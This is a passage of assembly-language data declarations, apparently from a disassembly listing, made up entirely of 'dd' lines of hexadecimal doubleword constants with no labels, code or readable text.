228CF665h, 0A612645h, 2B8445A9h dd 0B3FAA805h, 8822CCA1h, 3E40FCBCh, 0C1931FBh, 0B3CD294Dh dd 62913572h, 0F2D28149h, 9AB1D3CDh, 0C3337376h, 0CCED6768h dd 221300FAh, 1B5EF99Ch, 9B014936h, 0AE003922h, 34E50321h dd 624AB2A1h, 0E0969E5h, 1BC24D32h, 1A403EE0h, 655A3AB7h dd 2553E1CCh, 1FC8D675h, 3F61230Fh, 2B124969h, 0B2D4BC05h dd 0A8687EBBh, 0CFBF4841h, 9D36D0B9h, 0FD7A29CFh, 891D1F0Dh dd 2D14A179h, 0ADDAF87Dh, 3EBDA2B7h, 1C39AA22h, 0BAF0E4A3h dd 9FE675BDh, 0A03A8AE3h, 63360D62h, 4D161F54h, 0DB0F6764h dd 9C2A826Fh, 7F4D192Ah, 7D19D66Dh, 4C22CC2Dh, 222D14CDh dd 0D836F65Bh, 261A4114h, 9AEA39E9h, 69710291h, 0A29AE323h dd 9E1050B9h, 0E637C961h, 0A2C52485h, 2B78C16Dh, 1C71DDA4h dd 89023FFFh, 0A29A32C8h, 9EFB6E05h, 5DEB475h, 0BA08E955h dd 70D39E60h, 158193DEh, 3FE9B2E4h, 96078E72h, 2F4D8CADh dd 0FDF186EFh, 473CA9D8h, 888AFD1Dh, 3D2AFB5h, 6CA4CC5Eh dd 0CCF5E9EDh, 5694F7FEh, 0A3A5D49Dh, 0F87F7C96h, 2FEE77C0h dd 7EE10829h, 4A6B8BB2h, 0C5140032h, 0C25B0F9h, 6C43050Ah dd 5FEEEE76h, 77D6A661h, 9D729A1Bh, 72FF8014h, 6649E2FCh dd 48B18DF3h, 7984E082h, 816D5302h, 9F739C42h, 0BEA17D5Ah dd 85366F72h, 301CD081h, 0C061FD33h, 0EBB10558h, 25733F5Fh dd 6D1CBBCEh, 422074CDh, 0A8295DCCh, 3238473h, 2DF928B8h dd 36A9C61h, 5717EC11h, 0BF92C72Ah, 17047019h, 0AE20C96Ah dd 1716FF52h, 63EE3AF1h, 6A8A3C61h, 0D53DFD0Eh, 4D42D09Eh dd 0CA5BA2FCh, 0F5E578Ch, 765102A5h, 0D531D224h, 5702247h dd 0FD464A22h, 52CEEE9Dh, 81F00DA5h, 18FEBC59h, 393F040Dh dd 2114366Bh, 0DDD59665h, 0FB05E546h, 4F06A591h, 230D2ECAh dd 78C1FE3Ah, 75076155h, 19BC042Ah, 0EEDB2197h, 0EC31D0DAh dd 84F28EA5h, 50A5E79Dh, 4ABA2EDFh, 0DAD95E64h, 8ADCF92Dh dd 10B6BDA5h, 61725CEBh, 0D9AC2255h, 0AAC58E77h, 72C8FEA5h dd 2DAFAA5Bh, 815371Fh, 78C26EF6h, 2B701D8Ah, 71DE85A5h dd 24891577h, 538E21E0h, 7362DF88h, 3ACEC8F2h, 46F842B6h dd 596E20EBh, 4B84A1CFh, 0A60CBFA5h, 369526Bh, 0EBCE54A5h dd 0A4CCCA30h, 0CDF70702h, 67D62021h, 0EC5D1825h, 0FE4A7035h dd 0EDDAF102h, 74838FB6h, 1265173Ah, 0F4781115h, 5581DD6Ch dd 9B63575Fh, 979007A4h, 0A0625522h, 7836816Ch, 0BDEE030Eh dd 655418B9h, 0CB7A93Fh, 0F28322EAh, 0E2FEE4DBh, 0D3CD39B9h dd 0B892A6B7h, 9B4810BEh, 0B90D436Bh, 0E08C582h, 49EA21CEh dd 0FA33B9B2h, 5FFDE734h, 514B2625h, 0AA834A01h, 0B2899C46h dd 307F95A4h, 2602FBF7h, 0A0C3E885h, 0D3F54B6Ah, 20CD291Ah dd 0D674E2A5h, 0B729C3FEh, 0D3B2686Ch, 9A1A06A0h, 49FA113Dh dd 14D4A69Ch, 6F63997Dh, 0A41031F5h, 6382CB9Dh, 99E2B9DEh dd 0DAFEA096h, 0AE92F849h, 0B3410B5Eh, 0C3CDF995h, 0E01B7526h dd 435BCD4Ch, 0A23E906Dh, 0AF0D3BD6h, 0CCAAF10Dh, 45FD2FE8h dd 2E13F7BDh, 682AD172h, 46CE1D71h, 9C151351h, 5916067Dh dd 0C4714AE5h, 0AF72DD3Ah, 4CF56EA5h, 0ED2CD17Ah, 123321A5h dd 885EE0Bh, 6EBAF884h, 0D5D0C384h, 0AE965CDCh, 0BEE00FE0h dd 693549F9h, 9D49ED45h, 7ABD9F4Dh, 0E38C3D5Bh, 596A21F3h dd 0BF0E5652h, 4B66E246h, 7B15C560h, 7D5D2026h, 9BFDFC20h dd 0C41B00B1h, 0C9E12275h, 9D1A27A4h, 9943CC0Eh, 182231h dd 9E7827A4h, 9943CFB0h, 2402B80h, 205027A4h, 9BC5C9A2h dd 441E3ACh, 3C4920E6h, 9BE5CBA2h, 641F1A7h, 5BD220C0h dd 0A13C4AE1h, 6A2736B8h, 22F33818h, 0E2B59162h, 4ABDA601h dd 52AE9251h, 1ABC01FBh, 0D98A1E2Dh, 9247559Eh, 9DF0C1E3h dd 0F23D9123h, 0DBBC3535h, 9C5A76F7h, 87017731h, 8C1CAF85h dd 7E2704E6h, 0EA502108h, 0E3B89C4Dh, 0DB13A47h, 0C9E9B464h dd 5AB2E5E8h, 5E622199h, 31391DF0h, 6C721E0h, 0A94E5CFAh dd 7D3424C1h, 0DB5D2A9Fh, 69A8E282h, 0EFBD23B9h, 0F6E5E91h dd 21826EC5h, 203A3FBEh, 5123B28Eh, 0C94939B6h, 0CFF904D4h dd 9D36C4C5h, 71C2B4CEh, 15B333E5h, 58BB5269h, 34F52174h dd 110EE884h, 0CDA62120h, 0CB2AD928h, 5724B7DFh, 0B8420911h dd 3671153Bh, 2673E5F4h, 2F2C282h, 0DB9D5507h, 0FAE7CFAFh dd 0D212848Ah, 9901847h, 9B1C538Fh, 0ED656D6h, 0FAA5D774h dd 0A6A27DDCh, 9320B158h, 376C35F7h, 64BD0B38h, 0CBE53FA2h dd 7C752F46h, 0AF843885h, 0B6C2A282h, 0DA06E09Bh, 0B752B08Eh dd 0F71437D2h, 0E61B3D6Ah, 41E0D2A5h, 350C8B68h, 5F2EF3A5h dd 7D16EEC2h, 8F2DE713h, 12DBC8A3h, 26C284E8h, 0F017B732h dd 0AFBAB9B9h, 8A1B293Fh dd 0B13A1B6Eh, 0CC69303Fh, 0AFFAB1F1h, 23570949h, 1DB4E3A2h dd 4A862AA1h, 5363BB7Dh, 0F222DA72h, 5F827CCAh, 0F743D45Ch dd 78019906h, 1A66D1F6h, 0DA46C86Dh, 448ED3B0h, 0B69B44ADh dd 13CDC0B2h, 53A431D9h, 6A05DF89h, 1EF43086h, 842BFE89h dd 385D396Fh, 0AF744A8Fh, 7C9942Ch, 820969Bh, 0BD36AEF0h dd 18716426h, 0EB529E8Eh, 6014382Eh, 9754F1BFh, 0B7104EA8h dd 6B6EA637h, 0E249114Fh, 0D4A5614h, 93194255h, 4E0AC0D1h dd 5E4D1C53h, 966BC04h, 0E300C49Ch, 857F828h, 0A418C62h dd 26241805h, 0F7945C7Bh, 3EED4FEEh, 6E36EFDCh, 0AC96D145h dd 0BAA06030h, 0ABAEAAA8h, 0BCD40776h, 126336CAh, 363A35D8h dd 0A69BF773h, 7F3110C6h, 6199DA49h, 54BCED9Bh, 70A43CCAh dd 0B89A69C2h, 81EEBF6Fh, 1C1707Eh, 6A4C11F9h, 7AF17F8Ch dd 5BF4E863h, 0F1EBF35Eh, 0C70722B3h, 6C26953Fh, 6758FD60h dd 6AEB22C6h, 0FA6B5E76h, 70A638F7h, 0EF29F375h, 9D964D2Eh dd 9ECD39F8h, 621B32B3h, 53E4FA36h, 0A0ECC459h, 0A55C2BD2h dd 7595020Dh, 63F6B3BBh, 769A0172h, 8BF14Eh, 0C4DFDF4Eh dd 974DD52Ch, 2B5C8910h, 5BF52C29h, 0D21BFF72h, 494E9C2Bh dd 63BB3CE8h, 0B2F09BD7h, 2B14E0D3h, 6AEBF2A0h, 4F0AE160h dd 4923016Eh, 4A3DB80h, 39EB6457h, 0A8BCDF2h, 0CBAC50F5h dd 0BE116051h, 7FF4F37Dh, 97EF0D83h, 6D181172h, 31DE09F9h dd 13D45285h, 0ED63EF77h, 747E39BEh, 4A103954h, 0E3BB5556h dd 3CF62616h, 3692D1F4h, 6E100504h, 12774D54h, 0FA0890F5h dd 85A2DC14h, 0AF4E8664h, 7F99E150h, 4A1910A1h, 0D275C1EAh dd 414852Eh, 89AC2B99h, 34D38EE9h, 0F290DC0Bh, 462C382Eh dd 0C7CE62CEh, 11ACFA7Eh, 1D37CD2Ch, 8852AC7Eh, 17154542h dd 73711F53h, 652B10C1h, 5A073367h, 0D7CBD4C8h, 0B8E5FA02h dd 47B959D9h, 11B31286h, 7E535259h, 0BE193362h, 0CE1AD3B2h dd 121BA3B3h, 0A75F1B8Eh, 0AED1168h, 0B8309DA6h, 16A50C5Ch dd 96ED8A6Dh, 0D6C9AF3Ch, 2630B033h, 2ADC2B79h, 31B69F6h dd 0BC58E04Eh, 8F3149Dh, 66D1DDF2h, 5ED6D25Fh, 0F945ED70h dd 0A0401DDDh, 0BCEEF47Eh, 65D75BE8h, 64EE2558h, 0B4A8F1E6h dd 6FD94990h, 0AEA45F62h, 718D8E6h, 3FA0A757h, 8B1E5607h dd 99E512Bh, 90259E89h, 78579949h, 9CF3A1CAh, 0D13A98AAh dd 13D12378h, 0E1930309h, 0CF9BC2E8h, 13141EB7h, 0C85CCC27h dd 0CD049FF2h, 1226CE41h, 99DD1692h, 4A55D5E1h, 0D2DEE9CDh dd 0ED5861Fh, 5B06A41h, 639687E7h, 0CB4DEA14h, 0C7454932h dd 5D0A8D0Eh, 0B2F171h, 0ABFA64CCh, 0DFB65D7Ch, 679E645Bh dd 0F2FF15B3h, 32EA041h, 0D5070D26h, 0EF1FF694h, 0BE2EA6AFh dd 0AEE77B90h, 56406AEFh, 0B604723Fh, 804D35F3h, 6DF6F7BAh dd 57F4D8A5h, 59611243h, 46FAE56Eh, 1D1B167Fh, 0BC1C644Ah dd 5C0228B7h, 0D638EC79h, 73FEF7BBh, 0A91F82BCh, 660EF578h dd 42B45A33h, 0AFDAA162h, 456D226h, 471FCC3Ah, 0D51A45B8h dd 0A9109355h, 8CA4AB5Dh, 331608E0h, 3333A74Ch, 0FD59E80Eh dd 0FDADA97Dh, 3FC1B943h, 34C13A80h, 0A53BE560h, 0D9357F40h dd 0E1FDAB79h, 0DE8473D1h, 7E11D06Bh, 600EFA1Ah, 6E9FD18Eh dd 0B764E01Eh, 48FE395Ch, 40D18CE4h, 0C709A205h, 3550246h dd 0F665AF9h, 815A6A74h, 716AAE87h, 0FF6F1472h, 70D16169h dd 0F3729B56h, 0A70A1384h, 0C8F4064Bh, 0B29F1907h, 189C1D8Bh dd 4F2BB964h, 828EF60h, 56C6E6A5h, 0F7210BF1h, 7F7B138Dh dd 143C8F56h, 0C322D051h, 0A0EF18BAh, 7034112h, 993BB078h dd 0EBBA7B39h, 0AEE6BB14h, 7BF50CECh, 446EA032h, 9FF067B6h dd 62A196C1h, 28DDCD8Fh, 0BB799D95h, 18979631h, 0CBE44590h dd 0BD6F0E35h, 0C73101D2h, 59F1F884h, 0FEE8E384h, 4B069F35h dd 46E7E8D9h, 0B6530E33h, 0BA0EE434h, 0C320FC72h, 6C9F6045h dd 375DC9ECh, 30160B55h, 0AA96DF69h, 1503EC5Ch, 668EE849h dd 419CE61Ch, 0E31F4983h, 8AF54BEBh, 8170F9DCh, 0E80CBD2Fh dd 7FF32B63h, 705B992Dh, 25D5B48h, 0A496B609h, 1B4ACB82h dd 0ADD002E6h, 0EA97AA1Fh, 0ADA4DE33h, 0A3C3E8DDh, 94EA4477h dd 9D00BDEAh, 39E12505h, 0FFFA35AFh, 0ACE78C93h, 0D9E9C6F9h dd 5A857C5Eh, 119DE1C4h, 5AA1C846h, 0A08E2E0h, 2471420Bh dd 0F27DDC72h, 62FA4357h, 0ED954692h, 8EF7B6A6h, 2239E12Ch dd 202FBFCBh, 1B57DC7Ch, 2F8187DEh, 4C2FB8Dh, 9D88E112h dd 8C16FCF4h, 52B69260h, 0F461D2D9h, 42ABDC73h, 8286165Ch dd 2ED1AC1h, 6AEBFE5Fh, 3D6113Bh, 9222BE64h, 43ECF435h dd 7050CEBBh, 0ECD7CB0Ch, 92024957h, 8EEC7175h, 8DD92075h dd 0CE22242Ah, 661A616Bh, 74C4B0BBh, 0BFF5931Bh, 22904659h dd 0BC515070h, 0E0B3C5ADh, 7EC9A4ABh, 0B2D7DEFCh, 62DC3C7Ch dd 1F75365h, 64011F8Bh, 9B1C5773h, 3FD85C4Bh, 704C1FB4h dd 0EE988C33h, 7CE6803Ah, 0DA8C1712h, 829A4D8h, 4D13C70Bh dd 35BE258h, 6981821Ah, 6CDD1AEBh, 0FC989D69h, 4ED5B0A3h dd 3A0FE5Bh, 0A34DC57Fh, 0A27B1A3h, 0B2ABFE40h, 0D31D0312h dd 0D4F58EB7h, 8F0F6941h, 0D0612D7h, 48D97499h, 5C88B5ADh dd 0F448B27Dh, 779D1661h, 0E4AD1F4h, 7F4ED5C1h, 0AF3C6CBh dd 2AD5FEAh, 550E19Dh, 0BB023E23h, 269FA5DDh, 0AF72D0FCh dd 4C97A114h, 3F1CBDE4h, 34D8B8DFh, 0BEFBE626h, 93F9D5C2h dd 314917A7h, 3ACFEA8h, 2D113B9Dh, 5B722E5Bh, 8ED47AD0h dd 251DE92Ch, 6D72A772h, 33FE2A35h, 0EF11D600h, 65FEDAC1h dd 0BA3F04FCh, 2068B113h, 0B6DF365h, 8E77AB66h, 274716C4h dd 64BB079Ah, 0BB28B51Ch, 684DE477h, 9E2A2C6Dh, 52CACB1Ah dd 0ED0EA9B5h, 0C453F715h, 9655F688h, 6F01A6C1h, 0AA14292Eh dd 7B311Dh, 71FECCBDh, 7C331B90h, 7F31C1AFh, 0C2E65B58h dd 0C264205Ah, 0EF17B511h, 97C2CBBDh, 0EA37FC1Ah, 0C3C407BFh dd 36ABF8E3h, 8FBA8A58h, 0B196C758h, 0DE39FF1Ch, 4B02A0C8h dd 0BBD2CC58h, 8BED40D6h, 0E063CA03h, 5DD89E17h, 692858A4h dd 4FE04F17h, 4E527B3h, 67FCC066h, 95A17993h, 0D1035D01h dd 0B5F88807h, 0C0CFEAF0h, 2E7FD4A9h, 1A1B5DA5h, 6B42EB70h dd 6B2CE557h, 0E80C1627h, 6DAFE52Ch, 6648A112h, 19BE00E0h dd 6B50A127h, 843FC87Bh, 6D4B7Ch, 1AA8D76Eh, 0C5ED6D90h dd 30FF023Dh, 2CD40421h, 0FC03D7Dh, 17BD8AC7h, 91CBF0BBh dd 5B0A11B7h, 901016Dh, 0E1C8D400h, 0B508BE8Eh, 92CD17FBh dd 65CCA138h, 0A9F4900h, 1F6F20D6h, 0CFDE9325h, 415652F5h dd 239DACC9h, 0F03C7B9h, 0A54FD613h, 0C3FD6E2Ah, 4937B9B8h dd 26039C0h, 74D40655h, 0A7C60C47h, 0F777160Ch, 72B014EBh dd 0F86C4A30h, 0BAD7CF24h, 0F08FFB00h, 95A91D14h, 768AC320h dd 0E798A162h, 0CF0729BDh, 13C2B68h, 0BE3D35A3h, 3D525721h dd 5FE8014Ah, 77EDE272h, 0A40CDBEh, 4BFF32BEh, 44F02EFBh dd 1737D1A3h, 4C3D8C53h, 0A79DD0A3h, 6D3D7B52h, 0A7D0235Bh dd 0A19E1D28h, 0C1D12353h, 0A26B1DB8h, 0F430B72h, 3F0CA5B8h dd 104310BEh, 0F40C34DEh, 9C18F3BEh, 52C6342Eh, 9C132EC0h dd 53378E2Dh, 45F02E8Bh, 0B997D9A3h, 0CC3D8A55h, 0AEB1D8A3h dd 7EBACE91h, 4D10C32Ah, 0BE8513E9h, 1835B905h, 4BFE3934h dd 0A402D6Fh, 4CF1B744h, 5AC3D6A1h, 0C0103D0Dh, 0BD4174A1h dd 9E0E68B4h, 0FB212219h dd 9E9F1C49h, 0AB1E22F7h, 6411FFBh, 0B763C4A2h, 0E83E8F6Eh dd 0E4320CA2h, 9DD92D6Dh, 5326405Bh, 9E772DDFh, 4B7B305Dh dd 4341CAA1h, 0FB860584h, 4DC115A2h, 0D5D1AD06h, 0A506285Ch dd 22310BB0h, 0CAE9B3BCh, 0A194C4DBh, 54F223FCh, 0E6383BADh dd 20AE978Dh, 5F43A9BAh, 88A4F052h, 0BAF4FB25h, 9BBA2A3Fh dd 5D391E71h, 7343E2BAh, 0A5A36532h, 6FF620C3h, 0EB397145h dd 0B370C4A4h, 0FB39BD1Ch, 0A478F7BDh, 1EF02A16h, 0DAD4F143h dd 9BBA2A3Fh, 0C466E88Ah, 9BFA264Fh, 12344C9h, 5C5F2928h dd 0A5E3F0BCh, 6D3000C9h, 0A50E7D11h, 0A3012079h, 0BC398C01h dd 0A3FCCDA4h, 0AD38081Fh, 0A31BEFA4h, 0AAF72A1Eh, 23BE939h dd 9B232AC0h, 43BEB00h, 9B302A5Ch, 53A087Ah, 2632F4BAh dd 3FD92879h, 7F4200BAh, 0BC0828EBh, 0AE9218BAh, 4B1C3387h dd 74192B43h, 2394EB5h, 0EEABCA4h, 68381D79h, 4332E3A4h dd 9BFD2A02h, 36CEFFCFh, 9BF82A51h, 91EB8563h, 23F73D0Dh dd 5E39EB17h, 0A478F5A4h, 40F32A18h, 6C3B9AA4h, 56182A59h dd 0BD8731B1h, 3C073157h, 7B140DE6h, 0F626E657h, 162AC53Ch dd 22320584h, 6E38E20Ah, 0A1E7F573h, 3E7551FBh, 0FFF4E80Eh dd 6D432E2Fh, 0A1032D45h, 422FB8CBh, 0BFC61534h, 0A83AF375h dd 2B406ABEh, 0B0243DC2h, 0A1D9EA79h, 0D675F95Fh, 0A278261Dh dd 8753929Ch, 954C509Bh, 5C792ED3h, 6FFDB3FEh, 2B3D9C66h dd 5EF88699h, 0A1219560h, 0DA75E0D9h, 0F244F746h, 983FCBEh dd 7145661Ah, 3903F9BEh, 60FFF562h, 0A1DF5471h, 5D4C14CCh dd 1B32EEEh, 61F071A1h, 0A1F2827Dh, 0FD791459h, 3AEDC976h dd 862D74BEh, 44C78609h, 0A1B64578h, 169DF9CBh, 76B4516Ah dd 265FA01Bh, 7AD6173Dh, 51A6512h, 0B179F8ECh, 36E2C505h dd 7BF3D99Eh, 128DCD5Dh, 1134C374h, 81E03120h, 0A8DEF02Dh dd 7F32AC2Eh, 0F3D99Eh, 0AABFDFB7h, 6BCA4E1Eh, 1FCC371Dh dd 135DC9B5h, 0C211D774h, 79F940C8h, 43DE4001h, 68959A43h dd 0B74B8A00h, 4E231673h, 0AF2DB35Ch, 0AEF0194Dh, 0B6BB5B33h dd 8472DE83h, 2AFD080Eh, 4E0A4D49h, 63C49E62h, 0E1E0A71Ah dd 14DABB6Bh, 3132B2B5h, 0A6DE66D5h, 0BCE92EBCh, 7C171B5Eh dd 0B46D858h, 0B29C156Bh, 0BB040001h, 0A91E5865h, 5DC70CFDh dd 0B91C5307h, 48490B35h, 59194D3Eh, 774A1644h, 18076EB6h dd 4250E662h, 96E2B146h, 0BB5EAE27h, 99170C66h, 4930FF37h dd 0CC2AE2FDh, 5AB50644h, 0FEBC0DA9h, 7823E640h, 0E2340FACh dd 4701A75Bh, 2A240A93h, 21E62556h, 0BB05E481h, 0A91D5866h dd 5DC4C1FDh, 0B9225327h, 8BDA173Ch, 0E2BA73C7h, 0BB01DF4Dh dd 2A25E193h, 211F2541h, 0BB05C781h, 0A918585Fh, 5DC714FDh dd 0B915535Ah, 5846C535h, 59054D3Eh, 7B4A0E44h, 18C46EB6h dd 49520162h, 953E71Dh, 0AB5F8853h, 0BF5939D5h, 591F4D3Eh dd 0AEE6175Eh, 0BBE2B489h, 5814784Dh, 7ADAF36Ah, 0BE01DF4Dh dd 22240C93h, 5DC6D957h, 0B91E5344h, 5460C35h, 0B200BC9Dh dd 2A240083h, 211F2541h, 5E0001E5h, 13DE1A7Ah, 0FF589D63h dd 0AE9603BDh, 0F3A204Bh, 6563E113h, 6AF5A04Dh, 3034F360h dd 0B2A4F196h, 0E796D6ECh, 0D851C06Bh, 6928F329h, 0DD685C7Eh dd 6DEE3925h, 9CFEE9C0h, 1F6E8A0Eh, 0A14395Ah, 891DB589h dd 4A41BC50h, 663CF853h, 4A223930h, 0B13C6B5Eh, 5D172355h dd 0D906F476h, 5DA7C9F5h, 3D9A87Fh, 0B2F41B84h, 0C9612062h dd 4E3AC375h, 0F7E9367Fh, 50F5E0B6h, 65CE7ADBh, 43632DA7h dd 4409965Ch, 0D6169415h, 9247DCE8h, 0F883401Bh, 0EF84B30Eh dd 0EF977D74h, 61686349h, 0D01112B5h, 1DF1ED45h, 77B8EFDEh dd 991FF130h, 1A274753h, 781AFC7Ah, 6695DCD9h, 6514AE43h dd 0BE902151h, 787A8A7Ah, 0B31AF158h, 441CD4BDh, 603AB554h dd 0A8170219h, 51101F52h, 4C12A3BEh, 609A7BE1h, 0DF141992h dd 5423217Ah, 71D5E358h, 0B3F72CCAh, 0C9D73FA6h, 16B73E21h dd 0BC9D0833h, 0EA1BB385h, 3E02EAC2h, 3EFFF321h, 5DBE10B1h dd 0FB4FF721h, 46275D08h, 3B3195Fh, 2CDD0F11h, 0DE208D5Ch dd 5B093133h, 0A74F66C1h, 6EE5E9E1h, 0A7D0F553h, 0BAEE142Fh dd 0A1DDA7E6h, 668506BBh, 0C171156h, 2A7B656Ch, 68B8FC0Fh dd 87EF6A69h, 69298085h, 50A8031Ch, 616C59D0h, 484AA7BAh dd 0B2BABC21h, 29265B6Dh, 6172193Eh, 8611E7Bh, 59DDFD51h dd 5E697C51h, 9B102451h, 67153AD8h, 860955A4h, 68344CB5h dd 180F5717h, 69B943D7h, 8A1F8722h, 3015E37Ah, 851D00CFh dd 6F916B06h, 25E83152h, 7F92E5E6h, 14C1FDE8h, 65E6588Eh dd 0F25FCB06h, 5FD7D7ACh, 0BDB6848Bh, 0E7B9007Dh, 0A7B40413h dd 520B2D60h, 0B673E17Bh, 6A49B2C0h, 84F0F4C3h, 0CFF6FBB4h dd 655A8FDBh, 0B8DFE7C2h, 5422D415h, 399F49E9h, 0F012B05Dh dd 0CFD50F2Ah, 0CB51A7h, 6CFC5E6Bh, 24857CB2h, 2F16EEAFh dd 43075D69h, 0CE868917h, 0ECF25Bh, 99E1534h, 908FD136h dd 41FE7889h, 0AE1A68A7h, 0F519BCA9h, 0BDE6EE28h, 6914F05Ch dd 0B098FA5Dh, 0DF6427D8h, 0C88EEAF4h, 96D8316Ch, 0DAFF6B51h dd 6AFA14F1h, 2D97058Eh, 7E1E1375h, 5494F0A1h, 0BA3C989h dd 0BDEDF4F3h, 5FF03D78h, 0D971C8F5h, 780831B3h, 0EE19260Bh dd 2D6BFA7Ch, 0E382EA57h, 0BFE0666Bh, 52FAA1F2h, 62D8F48Bh dd 8C657351h, 93F3EBD9h, 3FD1C359h, 93D9AD58h, 0F1F19339h dd 7278FCD2h, 0C9D339DAh, 5985FDEEh, 6AFEFC3Ah, 3BAA4E06h dd 1FF5065h, 9AD28FAEh, 69F1E42Dh, 6EFFEA62h, 6CD3C612h dd 30BB7792h, 3A90748Eh, 0D407E984h, 987C4BCFh, 37E05B99h dd 8E3A01B3h, 7E30FA07h, 264C402Ch, 0E83EDD9Ch, 6825D85Bh dd 6146B6B1h, 0C66B0DD2h, 0C5FE1F9Bh, 181F0D9Ch, 1B6EF786h dd 5EAD820Ah, 447C0916h, 5486167Ah, 75B51D76h, 464080E8h dd 0E41AEC13h, 0F794FAA1h, 0C06AD20Eh, 7E1C902h, 414EBBCDh dd 0C5F3710Eh, 419BF163h, 855FA16h, 0CFEE0381h, 91879CEBh dd 744FC8ABh, 0DC3A9F2Fh, 0E98DE4C9h, 0AAB1262Ch, 80C5E49Bh dd 74CEAF46h, 0FCCE8A04h, 8AF545AFh, 6351CD4Ch, 0F7512A0h dd 9F0B0BBCh, 0DE0BC4CEh, 82DD7B32h, 0FCDF6866h, 0FAD34693h dd 36F07C73h, 0EC0CA5E8h, 19FC08B2h, 27314D59h, 5CE17696h dd 0FFF15555h, 39D50E1Eh, 0D38D71h, 0C1765817h, 4374BFB5h dd 41896CEEh, 0B266BBF0h, 37458E51h, 3D13B440h, 0DCDF355h dd 822101BFh, 0CA8EBB0h, 126FE547h, 4788FA70h, 5C74CB57h dd 6301175Ah, 2D0D206h, 80BCDD1Dh, 68A5DFEEh, 0CB799A4Fh dd 31BC97Ch, 43423AA2h, 8B67FB25h, 91EE64D0h, 0A699EB7Bh dd 675CC374h, 1FCDAF65h, 276C4841h, 0BF5ABB9Dh, 0D204D30Ch dd 0A387BF59h, 61EB4E76h, 0CE16B19Ch, 0FE0339D2h, 0A00597Ch dd 0A722C8D1h, 0BD0B7EE3h, 66AD262Eh, 45E23D9Ah, 689A1103h dd 801BE067h, 0B7071932h, 444B4701h, 9208270Ah, 5C351DFDh dd 2E45CD58h, 85F54229h, 77872613h, 0D7D86B54h, 1A6A7BF5h dd 746F737Bh, 720D7BF9h, 7ED28FD4h, 0ADEC14D6h, 64DB62F7h dd 72ED317Ah, 12F43CEFh, 845DF19Bh, 89DDAE00h, 0D99F81C2h dd 0CE8BE993h, 0B4E81E6Ch, 623484C5h, 3CDCAA57h, 6400EA45h dd 0C4EC17B2h, 74F33D65h, 0AE16CA03h, 0E9AF4FF0h, 9908DD1Bh dd 0D11434AEh, 1AD4AC96h, 7FB3F639h, 603D1A8Ah, 0DAFC6F50h dd 0FF9AE3DBh, 0C762839Bh dd 39CDB10Eh, 98812982h, 6D7E128Eh, 0B462F0Bh, 767E841Ah dd 27C8D1D0h, 5F6F5375h, 3DF0BF32h, 193A4B76h, 0B195EE4Fh dd 9D6797FAh, 34BC2466h, 355034C2h, 438B3943h, 5B78F351h dd 0B26F968Eh, 2F4795BCh, 71F2A352h, 0ADD4D191h, 5E83ACCCh dd 74D2B61Fh, 0C61D6677h, 17DEE3A3h, 901D9874h, 590E1948h dd 43D7B9B4h, 0C7B1E08Dh, 0EEADDE46h, 3045D297h, 0A38D54A0h dd 0E5D30E7Ch, 29921585h, 0A3996F00h, 3DF04C28h, 6787DF0Dh dd 461E1A97h, 0D937CFF0h, 3BA48161h, 5B39D834h, 8A6DC56Bh dd 0CDE464B1h, 8151D255h, 0BAC6ADB2h, 4EC46412h, 2BAF8ABh dd 1685FF7Dh, 93379CD3h, 1798FB51h, 10A03709h, 3EDD3031h dd 0CCCE136Ah, 8849DE15h, 0FFD31D44h, 362C816Ah, 0BA771B17h dd 0C2F0D4A7h, 2D16C6AAh, 0C4E88A99h, 0BD67602Eh, 3145D494h dd 7ECBF0B1h, 44E855D0h, 63CAFC79h, 0C18925C8h, 4235458Ch dd 0ADFE6A75h, 7E176B4Bh, 62187AC9h, 76DFA3E9h, 3BF14621h dd 0B96CCBB0h, 0B41ACE48h, 7B3AE856h, 0EC1B4D00h, 1EEDFCABh dd 0A888EC6Ah, 693BE2BEh, 5B292C09h, 0B98BE9B3h, 0B6A83934h dd 0EDF60940h, 0E26E66Ah, 768E4919h, 0FBE40061h, 3B90190h dd 0BE62EC3h, 41290092h, 127C3B26h, 0BD4BFF93h, 0BCB7C65Bh dd 0AFF03AB1h, 0AF5274E7h, 9E89E449h, 95905645h, 0A4A11A63h dd 2D2FDD25h, 0A86E6772h, 0B6451C6Ch, 0FCF6ED71h, 8C3B7357h dd 6A0AEDCDh, 0B2718532h, 97CBD519h, 0CF459CA8h, 908417A3h dd 0CEC66AADh, 0E56C5956h, 683AFED4h, 69F935ADh, 0ABF66BAEh dd 0E444A9C0h, 0F22C09BFh, 5C76F794h, 25CA9A5Ch, 8943577Dh dd 33019EC1h, 7E3273B3h, 4C563562h, 5A2386BDh, 401123F4h dd 32E13049h, 36F7E56Ch, 0A3205254h, 4BB2E331h, 8D1D098Ch dd 4D212934h, 0B2BD0039h, 0B37062BCh, 0A3787991h, 5B100921h dd 1ACA123Dh, 0A320A54Ch, 0ACEED2Dh, 230D53Ch, 0A0D4F143h dd 7AF23001h, 762BB1B5h, 6EF3F943h, 663BB049h, 5EFEE943h dd 0AC06A865h, 62110D6Dh, 0BC16B055h, 0B21EED5Dh, 0A233313Ch dd 9E8C2543h, 2C56E991h, 5F690381h, 0DABB75F1h, 0CE1E9AB3h dd 3EB3957Dh, 32FE8143h, 0ACBAA835h, 62D10D25h, 0BCDEB019h dd 62EEED09h, 4E30E53Ch, 0BEFD1541h, 0AE230534h, 5B492961h dd 82BB51D0h, 0F21E46B3h, 0DAB3697Dh, 0C6FE9D43h, 0ACA6A8C1h dd 62B90D31h, 0BCCAB021h, 72DEED15h, 6230F13Ch, 52FAE141h dd 42231134h, 23310561h, 0CF4931BDh, 861E52A3h, 0F6B34D7Dh dd 0E2FE7143h, 0B186A8E5h, 0BC9AB0ADh, 22AEEDC5h, 0E30A53Ch dd 7EFAD541h, 6620F934h, 230AED61h, 0BE1D3355h, 2B32E949h dd 92BAD6BDh, 0AD52A0D2h, 636D0D85h, 0BC82B0F9h, 3E96EDD1h dd 2E30853Ch, 1AFAA941h, 620D934h, 23EACD61h, 0BE013375h dd 2B0EE969h, 5E1D0359h, 0A6BA3D49h, 962322B3h, 63512DD3h dd 0BD5EB099h, 0E372ED8Dh, 0D230613Ch, 0C2FA9141h, 36208134h dd 23BEB161h, 0BED5332Dh, 2BE2E91Dh, 5EFD0371h, 42BA1169h dd 0AA213AB3h, 5C940D62h, 0A233491Fh, 963341BCh, 0BF4D23D4h dd 2C5AE995h, 5F6D0385h, 0DABB69F5h, 0C61E9EB3h, 36B38D7Dh dd 2AFEB943h, 30429221h, 0F4F2DDC9h, 1EF6F559h, 3317A7Dh dd 4D291C51h, 73011B41h, 2620B21Dh, 0C3EAA839h, 0CDC2A821h dd 72A74C7Dh, 7E11BD50h, 1A03AD52h, 5EC92843h, 